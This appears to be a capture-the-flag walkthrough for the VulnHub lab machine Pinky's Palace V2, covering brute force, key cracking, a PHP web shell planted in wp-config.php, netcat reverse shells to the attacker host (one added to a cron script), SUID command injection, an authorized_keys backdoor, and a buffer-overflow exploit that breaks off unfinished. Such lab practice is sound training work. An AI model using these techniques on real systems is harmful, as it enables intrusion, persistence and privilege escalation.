Pinky’s Palace: V2 Walkthrough (OSCP Prep)
Introduction
Continuing our OSCP Prep series, today we’ll compromise Pinky’s Palace: V2 from VulnHub.
Host Discovery
First things first, we need to find the target box’s IP address on our network:
(ori0n@apophis) --> [ ~/pinky ]
==> $ sudo arp-scan -l
Interface: ens33, type: EN10MB, MAC: 00:0c:29:4c:9e:c7, IPv4: 10.0.10.10
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.10.1 00:50:56:c0:00:08 VMware, Inc.
10.0.10.2 00:50:56:e8:6a:fe VMware, Inc.
10.0.10.101 00:0c:29:27:29:ae VMware, Inc.
10.0.10.199 00:50:56:fd:62:a5 VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.934 seconds (132.37 hosts/sec). 4 responded
We find the machine at 10.0.10.101
. Minding this note from VulnHub:
Note From VulnHub: WordPress will not render correctly. You will need to alter your host file with the IP shown on the console:
echo 192.168.x.x pinkydb | sudo tee -a /etc/hosts
Let’s update our /etc/hosts
file accordingly:
10.0.10.101 pinkydb
Scanning
Let’s run a quick port scan of the target:
(ori0n@apophis) --> [ ~/pinky ]
==> $ rustscan -a pinkydb -- -sV -oA scans/nmap-version
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.101:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -sV -oA scans/nmap-version" on ip 10.0.10.101
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 12:51 CST
NSE: Loaded 45 scripts for scanning.
Initiating Ping Scan at 12:51
Scanning 10.0.10.101 [2 ports]
Completed Ping Scan at 12:51, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 12:51
Scanning pinky (10.0.10.101) [1 port]
Discovered open port 80/tcp on 10.0.10.101
Completed Connect Scan at 12:51, 0.00s elapsed (1 total ports)
Initiating Service scan at 12:51
Scanning 1 service on pinky (10.0.10.101)
Completed Service scan at 12:51, 11.11s elapsed (1 service on 1 host)
NSE: Script scanning 10.0.10.101.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:51
Completed NSE at 12:51, 0.04s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:51
Completed NSE at 12:51, 0.04s elapsed
Nmap scan report for pinky (10.0.10.101)
Host is up, received syn-ack (0.00050s latency).
Scanned at 2022-01-29 12:51:34 CST for 11s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.25 ((Debian))
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.48 seconds
We find only one open TCP port: a webserver.
Enumerating HTTP
Let’s launch a browser and see what this machine is serving on port 80.
So the target is running a WordPress installation. Before we dig deeper into that, we’ll fuzz for any interesting files or directories:
(ori0n@apophis) --> [ ~/pinky/files/wordpress ]
==> $ ffuf -u http://pinkydb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://pinkydb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
.htpasswd [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 1ms]
.hta [Status: 403, Size: 286, Words: 22, Lines: 12, Duration: 56ms]
.htaccess [Status: 403, Size: 291, Words: 22, Lines: 12, Duration: 231ms]
secret [Status: 301, Size: 303, Words: 20, Lines: 10, Duration: 0ms]
server-status [Status: 403, Size: 295, Words: 22, Lines: 12, Duration: 0ms]
wordpress [Status: 301, Size: 306, Words: 20, Lines: 10, Duration: 0ms]
wp-admin [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 0ms]
wp-content [Status: 301, Size: 307, Words: 20, Lines: 10, Duration: 0ms]
wp-includes [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 0ms]
xmlrpc.php [Status: 405, Size: 42, Words: 6, Lines: 1, Duration: 14ms]
index.php [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 10ms]
:: Progress: [4702/4702] :: Job [1/1] :: 38 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
Well, well, well. This secret
directory looks pretty interesting. Let’s check it out:
Clinking on the bambam.txt
file, we get:
8890
7000
666
pinkydb
These look like port numbers. Perhaps port knocking is in order?
Port Knocking and Further Enumeration
We’ll see if we can use these port numbers to open up more ports on the machine:
(ori0n@apophis) --> [ ~/pinky ]
==> $ for port in {8890,7000,666}; do nc -vz pinkydb $port; done
pinkydb [10.0.10.101] 8890 (ddi-tcp-3): Connection refused
pinkydb [10.0.10.101] 7000 (afs3-fileserver): Connection refused
pinkydb [10.0.10.101] 666 (mdqs): Connection refused
Now we’ll scan again and hope we have more ports available for enumeration.
(ori0n@apophis) --> [ ~/pinky ]
==> $ rustscan -a pinkydb
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.101:80
[~] Starting Script(s)
[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 15:04 CST
Initiating Ping Scan at 15:04
Scanning 10.0.10.101 [2 ports]
Completed Ping Scan at 15:04, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 15:04
Scanning pinkydb (10.0.10.101) [1 port]
Discovered open port 80/tcp on 10.0.10.101
Completed Connect Scan at 15:04, 0.00s elapsed (1 total ports)
Nmap scan report for pinkydb (10.0.10.101)
Host is up, received syn-ack (0.00035s latency).
Scanned at 2022-01-29 15:04:52 CST for 0s
PORT STATE SERVICE REASON
80/tcp open http syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
Nothing. We can try changing the order of the ports in our knock to see if we have any better luck. After a few attempts, we have a winner:
(ori0n@apophis) --> [ ~/pinky ]
==> $ for port in {7000,666,8890}; do nc -vz pinkydb $port; done
pinkydb [10.0.10.101] 7000 (afs3-fileserver): Connection refused
pinkydb [10.0.10.101] 666 (mdqs): Connection refused
pinkydb [10.0.10.101] 8890 (ddi-tcp-3): Connection refused
(ori0n@apophis) --> [ ~/pinky ]
==> $ rustscan -a pinkydb
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/ori0n/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.0.10.101:80
Open 10.0.10.101:4655
Open 10.0.10.101:7654
Open 10.0.10.101:31337
[~] Starting Script(s)
[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 15:09 CST
Initiating Ping Scan at 15:09
Scanning 10.0.10.101 [2 ports]
Completed Ping Scan at 15:09, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 15:09
Scanning pinkydb (10.0.10.101) [4 ports]
Discovered open port 80/tcp on 10.0.10.101
Discovered open port 4655/tcp on 10.0.10.101
Discovered open port 31337/tcp on 10.0.10.101
Discovered open port 7654/tcp on 10.0.10.101
Completed Connect Scan at 15:09, 0.00s elapsed (4 total ports)
Nmap scan report for pinkydb (10.0.10.101)
Host is up, received syn-ack (0.00052s latency).
Scanned at 2022-01-29 15:09:24 CST for 0s
PORT STATE SERVICE REASON
80/tcp open http syn-ack
4655/tcp open unknown syn-ack
7654/tcp open unknown syn-ack
31337/tcp open Elite syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.04 seconds
Bingo! Three more ports to examine. First, let’s let nmap
do its thing:
(ori0n@apophis) --> [ ~/pinky ]
==> $ sudo nmap -p4655,7654,31337 -sV pinkydb
[sudo] password for ori0n:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-29 15:11 CST
Nmap scan report for pinkydb (10.0.10.101)
Host is up (0.00024s latency).
PORT STATE SERVICE VERSION
4655/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
7654/tcp open http nginx 1.10.3
31337/tcp open Elite?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.92%I=7%D=1/29%Time=61F5AD9F%P=x86_64-pc-linux-gnu%r(N
SF:ULL,59,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x20i
SF:s\x20soon\x20to\x20be\x20our\x20backdoor\n\0into\x20Pinky's\x20Palace\.
SF:\n=>\x20\0")%r(GetRequest,6B,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon\
SF:x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20backdoor\n\0into\
SF:x20Pinky's\x20Palace\.\n=>\x20\0GET\x20/\x20HTTP/1\.0\r\n\r\n")%r(SIPOp
SF:tions,138,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x
SF:20is\x20soon\x20to\x20be\x20our\x20backdoor\n\0into\x20Pinky's\x20Palac
SF:e\.\n=>\x20\0OPTIONS\x20sip:nm\x20SIP/2\.0\r\nVia:\x20SIP/2\.0/TCP\x20n
SF:m;branch=foo\r\nFrom:\x20<sip:nm@nm>;tag=root\r\nTo:\x20<sip:nm2@nm2>\r
SF:\nCall-ID:\x2050000\r\nCSeq:\x2042\x20OPTIONS\r\nMax-Forwards:\x2070\r\
SF:nContent-Length:\x200\r\nContact:\x20<sip:nm@nm>\r\nAccept:\x20applicat
SF:ion/sdp\r\n\r\n")%r(GenericLines,5D,"\[\+\]\x20Welcome\x20to\x20The\x20
SF:Daemon\x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20backdoor\n
SF:\0into\x20Pinky's\x20Palace\.\n=>\x20\0\r\n\r\n")%r(HTTPOptions,6F,"\[\
SF:+\]\x20Welcome\x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x20is\x20soon\x
SF:20to\x20be\x20our\x20backdoor\n\0into\x20Pinky's\x20Palace\.\n=>\x20\0O
SF:PTIONS\x20/\x20HTTP/1\.0\r\n\r\n")%r(RTSPRequest,6F,"\[\+\]\x20Welcome\
SF:x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20o
SF:ur\x20backdoor\n\0into\x20Pinky's\x20Palace\.\n=>\x20\0OPTIONS\x20/\x20
SF:RTSP/1\.0\r\n\r\n")%r(RPCCheck,5A,"\[\+\]\x20Welcome\x20to\x20The\x20Da
SF:emon\x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20backdoor\n\0
SF:into\x20Pinky's\x20Palace\.\n=>\x20\0\x80")%r(DNSVersionBindReqTCP,59,"
SF:\[\+\]\x20Welcome\x20to\x20The\x20Daemon\x20\[\+\]\n\0This\x20is\x20soo
SF:n\x20to\x20be\x20our\x20backdoor\n\0into\x20Pinky's\x20Palace\.\n=>\x20
SF:\0")%r(DNSStatusRequestTCP,59,"\[\+\]\x20Welcome\x20to\x20The\x20Daemon
SF:\x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20backdoor\n\0into
SF:\x20Pinky's\x20Palace\.\n=>\x20\0")%r(Help,5F,"\[\+\]\x20Welcome\x20to\
SF:x20The\x20Daemon\x20\[\+\]\n\0This\x20is\x20soon\x20to\x20be\x20our\x20
SF:backdoor\n\0into\x20Pinky's\x20Palace\.\n=>\x20\0HELP\r\n");
MAC Address: 00:0C:29:27:29:AE (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds
We find SSH, a web server, and an unknown service running on the interesting port number 31337
. We’ll check out this one first:
(ori0n@apophis) --> [ ~/pinky ]
==> $ nc pinkydb 31337
[+] Welcome to The Daemon [+]
This is soon to be our backdoor
into Pinky's Palace.
=> help
help
That’s interesting: we found a potential backdoor. However, more playing around on this port doesn’t find any interesting commands.
Before moving on, let’s send it a little more data and see if we can cause a crash:
(ori0n@apophis) --> [ ~/pinky ]
==> $ python -c "print('X'*1024)" | nc pinkydb 31337
[+] Welcome to The Daemon [+]
This is soon to be our backdoor
into Pinky's Palace.
=> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX`Hread(net): Connection reset by peer
And we have a crash. This might be a spot for a buffer overflow exploit later, but for now, let’s move on to the “hidden” webserver.
Enumerating Port 7654
First, we’ll check out the site in a browser.
And clicking the link, we get:
Some basic SQL injection testing gets nowhere. Let’s try to brute force our way in.
For potential usernames, we can keep it simple:
admin
pinky
pinky1337
Note the pinky1337
username we found from the WordPress page. Save this list as users.txt
. Trying these usernames with some standard password wordlists and hydra
didn’t turn anything up, so let’s build a custom, more targeted wordlist with cewl
:
(ori0n@apophis) --> [ ~/pinky ]
==> $ cewl -d 1 -w /tmp/words.txt http://pinkydb
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
(ori0n@apophis) --> [ ~/pinky ]
==> $ wc -l /tmp/words.txt && head /tmp/words.txt
157 /tmp/words.txt
Pinky
WordPress
Blog
site
content
entry
Hello
world
Comments
March
Now we’ll try again with hydra
and our custom wordlist:
(ori0n@apophis) --> [ ~/pinky ]
==> $ hydra -L users.txt -P /tmp/words.txt -s 7654 pinkydb http-post-form '/login.php:user=^USER^&pass=^PASS^:F=Invalid'
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-29 15:46:29
[DATA] max 16 tasks per 1 server, overall 16 tasks, 471 login tries (l:3/p:157), ~30 tries per task
[DATA] attacking http-post-form://pinkydb:7654/login.php:user=^USER^&pass=^PASS^:F=Invalid
[7654][http-post-form] host: pinkydb login: pinky password: Passione
[7654][http-post-form] host: pinkydb login: pinky1337 password: WordPress
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-29 15:46:31
Interestingly, we get two hits here, but the second is a false-positive. The first set of creds, however, gets us in:
Is that an RSA key I see? We’ll take a look at the notes first:
- Stefano
- Intern Web developer
- Created RSA key for security for him to login
Well, that’s interesting. Let’s grab the key and see if we can’t log in.
(ori0n@apophis) --> [ ~/pinky ]
==> $ wget http://pinkydb:7654/credentialsdir1425364865/id_rsa
--2022-01-29 15:53:06-- http://pinkydb:7654/credentialsdir1425364865/id_rsa
Resolving pinkydb (pinkydb)... 10.0.10.101
Connecting to pinkydb (pinkydb)|10.0.10.101|:7654... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1766 (1.7K) [application/octet-stream]
Saving to: ‘id_rsa’
id_rsa 100%[===============================================================>] 1.72K --.-KB/s in 0s
2022-01-29 15:53:06 (410 MB/s) - ‘id_rsa’ saved [1766/1766]
(ori0n@apophis) --> [ ~/pinky ]
==> $ chmod 600 id_rsa
(ori0n@apophis) --> [ ~/pinky ]
==> $ ssh -l stefano -i id_rsa -p4655 pinkydb
Enter passphrase for key 'id_rsa':
stefano@pinkydb's password:
Permission denied, please try again.
We need a password. First, we’ll extract a hash with ssh2john
, then we’ll feed it to john
.
(ori0n@apophis) --> [ ~/pinky ]
==> $ john hash --wordlist=/usr/share/wordlists/passwords/rockyou.txt
--------------------------------------------------------------------------
The library attempted to open the following supporting CUDA libraries,
but each of them failed. CUDA-aware support is disabled.
libcuda.so.1: cannot open shared object file: No such file or directory
libcuda.dylib: cannot open shared object file: No such file or directory
/usr/lib64/libcuda.so.1: cannot open shared object file: No such file or directory
/usr/lib64/libcuda.dylib: cannot open shared object file: No such file or directory
If you are not interested in CUDA-aware support, then run with
--mca opal_warn_on_missing_libcuda 0 to suppress this message. If you are interested
in CUDA-aware support, then try setting LD_LIBRARY_PATH to the location
of libcuda.so.1 to get passed this issue.
--------------------------------------------------------------------------
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
secretz101 (id_rsa)
Warning: Only 1 candidate left, minimum 4 needed for performance.
1g 0:00:00:01 DONE (2022-01-29 15:56) 0.5025g/s 7206Kp/s 7206Kc/s 7206KC/s *7¡Vamos!
Session completed
And we have the password. We’ll try to SSH in once again:
(ori0n@apophis) --> [ ~/pinky ]
==> $ ssh -l stefano -i id_rsa -p4655 pinkydb
Enter passphrase for key 'id_rsa':
Linux Pinkys-Palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Mar 17 21:18:01 2018 from 172.19.19.2
stefano@Pinkys-Palace:~$
And we’re in!
Initial PrivEsc
Let’s explore Stefano’s home directory to see if we can find something interesting.
stefano@Pinkys-Palace:~$ ls
tools
stefano@Pinkys-Palace:~$ cd tools
stefano@Pinkys-Palace:~/tools$ ls -al
total 28
drwxr-xr-x 2 stefano stefano 4096 Mar 17 2018 .
drwxr-xr-x 4 stefano stefano 4096 Mar 17 2018 ..
-rw-r--r-- 1 stefano stefano 65 Mar 16 2018 note.txt
-rwsr----x 1 pinky www-data 13384 Mar 16 2018 qsub
stefano@Pinkys-Palace:~/tools$ cat note.txt
Pinky made me this program so I can easily send messages to him.
So we have a SUID binary owned by user pinky
which may be (probably is) exploitable. The only problem is we don’t have read permissions for the file. But the group www-data
does! Perhaps we could find a way to spawn a shell as user www-data
.
www-data Reverse Shell
Let’s head over to the webserver root and see if there are any writable directories or files:
stefano@Pinkys-Palace:~$ cd tools/
stefano@Pinkys-Palace:~/tools$ cd /var/www
stefano@Pinkys-Palace:/var/www$ ls -l
total 4
drwxr-xr-x 4 www-data www-data 4096 Mar 17 2018 html
stefano@Pinkys-Palace:/var/www$ find . -writable
./html/apache/wp-config.php
So the wp-config.php
file is writable. We’ll open in our text editor of choice and inject a simple PHP shell by adding the following directly below the opening <?php
tag:
passthru($_GET['cmd']);
Now we’ll use Burp to verify if we have our PHP shell:
Let’s see if we have netcat
, and, if so, which version.
Nice. We don’t even have to use any piping magic. Set up a listener and use nc -e /bin/bash 10.0.10.10 1337
as our cmd
value:
ori0n@apophis:~/pinky$ ncat -nlkvp 1337
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.0.10.101.
Ncat: Connection from 10.0.10.101:36056.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We have our shell. Now we’ll set up a quick Python web server in Stefano’s tools
directory:
cd /home/stefano/tools
python -m SimpleHTTPServer
And from our attacker, we’ll download the SUID binary:
(ori0n@apophis) --> [ ~/pinky/files ]
==> $ wget http://pinkydb:8000/qsub
--2022-01-29 16:45:28-- http://pinkydb:8000/qsub
Resolving pinkydb (pinkydb)... 10.0.10.101
Connecting to pinkydb (pinkydb)|10.0.10.101|:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13384 (13K) [application/octet-stream]
Saving to: ‘qsub’
qsub 100%[===============================================================>] 13.07K --.-KB/s in 0s
2022-01-29 16:45:28 (41.1 MB/s) - ‘qsub’ saved [13384/13384]
Analyzing the Binary
Let’s fire up Ghidra and load up the qsub
binary. Perform the initial analysis and navigate to the main
function.
I’ll rename some variables to clean this up a bit:
This function is simple: ask for a password, compare it against the TERM
environment variable, and if they match, pass the first program argument (argv[1]
) to the send
function. So let’s take a look at the send
function (after a bit of cleanup):
First, note that the original function signature was incorrect. Ghidra was using the signature of the send
system call, but this is a custom function.
Basic analysis shows that this function is simply injecting our message into the format string "/bin/echo %s >> /home/pinky/messages/stefano_msg.txt"
and sending the resulting string to the system
function. Exploitation should be simple: we’ll just terminate the echo
with a ;
and inject our own command:
stefano@Pinkys-Palace:~/tools$ echo $TERM
screen-256color
stefano@Pinkys-Palace:~/tools$ ./qsub ';/bin/bash; #'
[+] Input Password: screen-256color
pinky@Pinkys-Palace:/home/pinky$ id
uid=1000(pinky) gid=1002(stefano) groups=1002(stefano)
So we have our pinky
shell, but we still belong to the stefano
group. A quick workaround to this is to add our public SSH key to Pinky’s ~/.ssh/authorized_keys
file:
echo [SSH_PUBLIC_KEY] > /home/pinky/.ssh/authorized_keys
Now we should be able to SSH into the target as pinky
:
(ori0n@apophis) --> [ ~/pinky/files ]
==> $ ssh -l pinky pinkydb -p 4655
Enter passphrase for key '/home/ori0n/.ssh/id_rsa':
Linux Pinkys-Palace 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Jan 29 15:31:08 2022 from 10.0.10.10
pinky@Pinkys-Palace:~$ id
uid=1000(pinky) gid=1000(pinky) groups=1000(pinky),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
Escalating to Demon
Now we have full access to Pinky’s account. Let’s search for any writable files:
pinky@Pinkys-Palace:~$ 2>/dev/null find / -writable | grep -Ev '/proc|/sys|/run'
/dev/fb0
/dev/dri/card0
/dev/dri/renderD128
/dev/dri/controlD64
/dev/snd/seq
/dev/snd/timer
/dev/net/tun
/dev/fuse
/dev/mqueue
/dev/log
/dev/shm
/dev/char/29:0
/dev/char/226:0
/dev/char/226:64
/dev/char/226:128
/dev/char/5:0
/dev/char/5:2
/dev/char/1:5
/dev/char/1:8
/dev/char/1:9
/dev/char/1:3
/dev/char/1:7
/dev/stderr
/dev/stdout
/dev/stdin
/dev/fd
/dev/pts/1
/dev/ptmx
/dev/tty
/dev/urandom
/dev/random
/dev/full
/dev/zero
/dev/null
/tmp
/tmp/.ICE-unix
/tmp/.font-unix
/tmp/.Test-unix
/tmp/.X11-unix
/tmp/.XIM-unix
/var/tmp
/var/www/html/apache/wp-config.php
/var/lock
/var/lib/php/sessions
/home/stefano/tools/qsub
/home/pinky
/home/pinky/.bash_history
/home/pinky/.bashrc
/home/pinky/.profile
/home/pinky/.bash_logout
/home/pinky/.ssh
/home/pinky/.ssh/authorized_keys
/home/pinky/messages
/home/pinky/messages/stefano_msg.txt
/home/pinky/.viminfo
/usr/local/bin/backup.sh
This backup.sh
file sounds interesting.
pinky@Pinkys-Palace:~$ ls -l /usr/local/bin/backup.sh
-rwxrwx--- 1 demon pinky 113 Mar 17 2018 /usr/local/bin/backup.sh
pinky@Pinkys-Palace:~$ cat /usr/local/bin/backup.sh
#!/bin/bash
rm /home/demon/backups/backup.tar.gz
tar cvzf /home/demon/backups/backup.tar.gz /var/www/html
#
#
#
So this is a shell script owned by user demon
but writable by Pinky. Maybe this is running as a cron job?
Let’s set up a listener and try to send a shell over. First, start a listener:
ori0n@apophis:~/pinky$ ncat -nlvkp 1337
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Now add the following line to /usr/local/bin/backup.sh
:
nc -e /bin/bash 10.0.10.10 1337
We’ll give it some time to see if the cron job fires. After some time, we get our shell:
Ncat: Connection from 10.0.10.101.
Ncat: Connection from 10.0.10.101:32962.
id
uid=1001(demon) gid=1001(demon) groups=1001(demon)
Getting root
We’ll use a bit of terminal magic to upgrade our shell. First, run the command:
script -c /bin/bash /dev/null
Next, Ctrl-Z
to back out to our bash shell. Use stty raw -echo to turn off echo, then type fg and hit return (you will not see fg). This will bring our Netcat shell back up. Type reset, hit return, then enter a valid TERM
type:
script -c /bin/bash /dev/null
Script started, file is /dev/null
demon@Pinkys-Palace:~$ ^Z
[1]+ Stopped ncat -nlvkp 1337
148 ori0n@apophis:~/pinky$ stty raw -echo
ncat -nlvkp 1337pinky$
reset
reset: unknown terminal type unknown
Terminal type? screen-256color
demon@Pinkys-Palace:~$
demon@Pinkys-Palace:~$ 2>/dev/null find / -user demon | grep -Ev '/proc|/sys|/user'
/dev/pts/2
/daemon
/daemon/panel
/home/demon
/home/demon/backups
/home/demon/backups/backup.tar.gz
/home/demon/.bashrc
/home/demon/.profile
/home/demon/.bash_logout
/usr/local/bin/backup.sh
Notice the /daemon/panel
binary. If we check for running binaries with ps
, we find it running as the root
user!
demon@Pinkys-Palace:/daemon$ ps -ef | grep panel
root 458 1 0 15:36 ? 00:00:00 /daemon/panel
root 465 458 0 15:36 ? 00:00:00 /daemon/panel
demon 992 949 0 15:53 pts/2 00:00:00 grep panel
Is this the “backdoor” we found running on port 31337? The same one that appeared to have a possible buffer overflow vulnerability? Let’s download it and see if we can’t find a bug or two.
Analyzing the Binary
After downloading the panel
binary, load it into Ghidra and perform the initial analysis. Then navigate to the main
function. Near the end, we see the program grabbing our input and sending it to the handlcmd
function (cleaned up a bit here):
void handlecmd(char *cmd,int sockfd)
{
size_t cmd_len;
char buf [112];
strcpy(buf,cmd);
cmd_len = strlen(buf);
send(sockfd,buf,cmd_len,0);
return;
}
Ah, the infamous strcpy
. There is definitely a buffer overflow here. Let’s own it.
Crafting an Exploit
I’ll use pwntools to speed up exploit development. We’ll launch the panel
process locally, and then we’ll use the cyclic
function from pwnlib
to determine the length of our vulnerable buffer:
#!/usr/bin/env python3
from pwn import *
HOST = 'localhost'
PORT = 31337
de_bruijn = cyclic(length=0x400,n=8)
payload = de_bruijn
